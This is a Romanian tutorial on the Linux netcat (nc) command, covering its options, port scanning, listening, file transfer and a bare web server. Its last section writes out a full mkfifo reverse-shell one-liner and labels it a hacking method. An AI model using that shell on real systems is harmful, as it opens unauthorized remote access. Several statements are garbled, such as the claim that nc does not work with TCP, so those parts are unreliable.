Metode de plată Abuse

Pentru ce este folosită comanda NC în Linux

29.08.2024, 02:19

Comanda netcat este necesară pentru trimiterea și primirea de date utilizând protocoalele TCP și UDP. Aceasta nu are un set mare de funcții, dar este suficientă pentru verificarea conexiunii și depanarea simplă. Cum să comunicați prin protocolul TCP? Această întrebare este pusă de mulți utilizatori. În acest articol vom răspunde la această întrebare și, de asemenea, vom arăta exemple de aplicare reală a comenzii.

Ce face această comandă?

Comanda netcat (sau nc) este un instrument puternic pentru lucrul cu conexiunile de rețea. Este adesea utilizată de administratorii de sistem și de dezvoltatori pentru diverse sarcini. Iată care sunt principalele funcții și caracteristici ale netcat:

  1. Stabilirea conexiunilor TCP/UDP: vă permite să stabiliți conexiuni la gazde la distanță utilizând protocoalele TCP și UDP.
  2. Ascultarea porturilor: poate fi utilizat ca server pentru a asculta conexiunile primite pe un anumit port
  3. Transfer de date: transfer de date între computere prin intermediul unei rețele. Acest lucru poate fi util pentru transferul de fișiere sau mesagerie.
  4. Depanarea aplicațiilor de rețea: utilizată pentru testarea și depanarea serviciilor de rețea, permițându-vă să trimiteți și să primiți date arbitrare.
  5. Crearea de chat-uri simple: poate fi configurată o comunicare text simplă între două sisteme
  6. Scanarea porturilor: poate fi utilizată pentru a verifica dacă există porturi deschise pe gazde la distanță.
  7. Tunelare: poate fi utilizat pentru a crea tuneluri pentru redirecționarea traficului prin alte porturi sau gazde.
  8. Lucrul cu proxy-uri: poate fi utilizat pentru a lucra cu servere proxy și pentru a efectua diverse sarcini de rețea.

netcat este un instrument versatil care poate fi utilizat într-o mare varietate de scenarii, de la mesagerie simplă la operațiuni complexe de rețea.

Opțiuni

Să începem prin a analiza sintaxa și cele mai populare opțiuni:

  • -6 - utilizează protocolul IPv6. Valoarea implicită este -4 și respectiv IPv4;
  • -h - afișează ajutorul cu lista de parametri disponibili;
  • -i - delay - adaugă întârziere între trimiterea de șiruri sau scanarea porturilor. Este setată în secunde;
  • -l - modul de ascultare. Utilizat cu specificarea portului;
  • -N - închide conexiunea când se ajunge la sfârșitul fișierului la trimitere;
  • -n - lucrează direct cu adrese IP fără DNS, de asemenea dezactivează scanarea porturilor;
  • -P - user_name - specifică numele de utilizator pentru conectarea la proxy;
  • -x - address:port - specifică adresa și portul pentru conectarea la proxy;
  • -p - port - specifică numărul portului. În majoritatea cazurilor, portul este citit fără specificarea parametrului;
  • -U - utilizează socket-ul domeniului UNIX (pentru comunicarea între procese);
  • -u - utilizează protocolul UDP, implicit se utilizează TCP;
  • -v - mod detaliat. Utilizat în timpul scanării;
  • -W number_packets - închide conexiunea după primirea unui anumit număr de pachete;
  • -w timer - activează temporizatorul pentru a limita timpul de conectare. Acesta este setat în secunde;
  • -z - dezactivează trimiterea de date. Este utilizată în timpul scanării.

Comanda are următoarea formă (parametrii adresa portului):

$ nc

În continuare vă vom spune cum să utilizați comanda.

Verificarea portului

Verificarea este principala utilizare a netcat. Trebuie să utilizați doi parametri -vz, să specificați adresa și portul. Puteți specifica un interval de adrese, dar în acest caz este mai bine să cerneți numai porturile deschise cu comandagrep. Să scanăm porturile de la adresa rețelei locale:

$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

În același mod, să scanăm porturile UDP prin adăugarea parametrului -u:

$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

Ar trebui să știți principala diferență dintre TCP și UDP. Astfel, în UDP porturile sunt întotdeauna disponibile.

Ascultarea portului

Parametrul -l este destinat pentru ascultarea portului. Este adesea suficient, dar puteți activa modul detaliat:

$ nc -nlv 8080

Amintiți-vă că atunci când utilizați protocolul TCP, portul trebuie să fie liber, altfel va apărea eroarea Deja în uz. Nu toate porturile pot fi utilizate de utilizatorii normali, de exemplu portul 80 (HTTP), cel mai probabil va fi ocupat de un alt proces și va necesita drepturi de superutilizator.

Schimbul de fișiere

O abilitate utilă a comenzii este schimbul de date. Un exemplu simplu este o cameră de chat cu text. Pentru a porni un chat pe un computer, rulați utilitarul în modul de ascultare a portului:

$ nc -lp 8080

Pe celălalt computer, va trebui să specificați adresa primului computer și același port. De asemenea, nu uitați să verificați că portul este deschis:

$ nc 0.0.0.0 8080

În acest fel veți putea trimite și primi mesaje. Adică, comanda este destinată schimbului de fișiere. Principiul este același, cu excepția faptului că este necesar să redirecționați ieșirea către un fișier, și anume paste.txt:

$ nc -l 8080 > paste.txt

Pe celălalt PC, fișierul copy.txt va servi drept intrare. Nu este superfluă utilizarea parametrului -N pentru a închide conexiunea după transferul de fișiere:

$ nc -N 0.0.0.0 8080 < copy.txt

Pentru transferul de fișiere, este important să se respecte secvența, mai întâi se deschide ascultarea și abia apoi se trimite fișierul. Comanda nc este o metodă de lucru, dar departe de a fi cea mai bună modalitate de a transfera fișiere. Există instrumente mai eficiente și mai utile pentru această sarcină.

Un server web simplu

Deoarece comanda NC nu funcționează cu protocolul TCP, aceasta permite atât trimiterea, cât și primirea de cereri HTTP. Prin urmare, utilitarul poate deveni un server web simplu. Da, nu puteți face nimic mai complicat decât o pagină albă în acest fel, dar operațiunea nu va dura aproape deloc, iar plusul este că nu trebuie să instalați nimic suplimentar.

Pe formularul de exemplu răspunsul HTTP cu fișierul index.html. Vorbind despre np în sine, este o idee bună să setați un cronometru cu parametrul -w 1 pentru a întrerupe conexiunea dacă browserul nu o face:

$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

Pentru a obține date de pe un site web, puteți forma o cerere și să o trimiteți la adresa și portul recomandate. Dar această modalitate este destul de complicată, este mai bine să utilizați comanda CURL corespunzătoare.

Shell de la distanță

Pe baza exemplelor discutate mai sus, nu va fi dificil să concluzionați că această comandă vă permite să organizați accesul de la distanță la shell-ul computerului. Anterior, utilitarul NC avea mai mulți parametri pentru deschiderea accesului la terminal. Parametrul -e a fost eliminat din utilitar cu mult timp în urmă, astfel încât nu va mai exista un acces simplu la terminal. Securitatea aplicației în sine a devenit mai ridicată, dar aceasta poate funcționa în continuare împreună cu altele.

Să arătăm conexiunea folosind canalul numit mkfifo. Mai întâi de toate, să începem să ascultăm portul de pe PC unde vom avea acces:

$ nc -lvnp 8080

Să mergem direct la comanda de deschidere a terminalului. Mai întâi, ștergem vechiul canal numit(rm /tmp/f), creăm unul nou în locul său(mkfifo /tmp/f), citim conținutul acestuia(cat /tmp/f) și trimitem o comandă shell la ieșirea sa(sh -i 2>&1). După aceea, rămâne să executați nc cu ieșire către canalul nostru numit(nc 0.0.0.0.0 8080 >/tmp/f):

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Rețineți că aceasta este o modalitate de hacking, cu toate acestea, poate fi utilă în caz de probleme ssh. Pentru a preveni atacul configurați o politică de securitate și un firewall.